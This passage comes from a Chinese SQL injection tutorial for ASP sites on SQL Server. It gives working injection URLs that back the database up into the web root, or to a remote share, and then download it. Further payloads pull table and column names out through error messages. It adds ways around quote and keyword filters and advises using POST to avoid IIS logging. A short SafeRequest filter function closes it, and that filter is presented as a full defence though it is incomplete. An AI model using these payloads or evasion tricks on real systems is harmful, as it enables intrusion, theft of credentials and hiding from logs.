连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:/inetpub/wwwroot/1.db’
;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web
目录下面,再用HTTP把整个数据库就完完整整的下载回来,任何的管理员及用户密码都一览无遗!在不知
道绝对路径的时候,还能够备份到网络地址的方法(如//202.96.xx.xx/Share /1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’
and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着任何的表名、视图、约束及其他对象,xtype=
’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,和0比较大小,让报错信息
把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from
sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的
第1个字段名,将1换成2,3,4...就能够逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶,能够看出,对SQLServer的了解程度,直接
影响着成功率及猜解速度。在我研究SQLServer注入之后,我在研发方面的水平也得到很大的提高,呵呵
,也许安全和研发本来就是相辅相成的吧。
第二节、绕过程式限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注
入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是能够利用相关的函数,达到
绕过程式限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“
利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以能够用where xtype=char(85)代替;
假如字符是中文的,比如where name=’用户’,能够用where name=nchar(29992) nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家能够用sele
cT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都和表单的输入框取
相同的名字。
3.特别注意:地址栏的 号传入程式后解释为空格,+解释为 号,%解释为%号,具体能够参考URL
Encode的相关介绍。
4.用Get方法注入时,IIS会记录您任何的提交字符串,对Post方法做则不记录,所以能用Post的网址
尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也能够用这种方法,只需要两者之间的区别即
可,但是假如能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防范方法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程式员对注入
不了解,或程式过滤不严格,或某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的R
equest函数,能够对一切的SQL注入Say NO,函数如下:
| 以下是代码片段: Function SafeRequest(ParaName,ParaType) ’--- 传入参数 --- ’ParaName:参数名称-字符型 ’ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符) Dim Paravalue Paravalue=Request(ParaName) If ParaType=1 then If not isNumeric(Paravalue) then Response.write "参数" & ParaName & "必须为数字型!" Response.end End if Else Paravalue=replace(Paravalue,"’","’’") End if SafeRequest=Paravalue End function |
不管您是安全人员、技术爱好者还是程式员,我都希望本文能对您有所帮助。




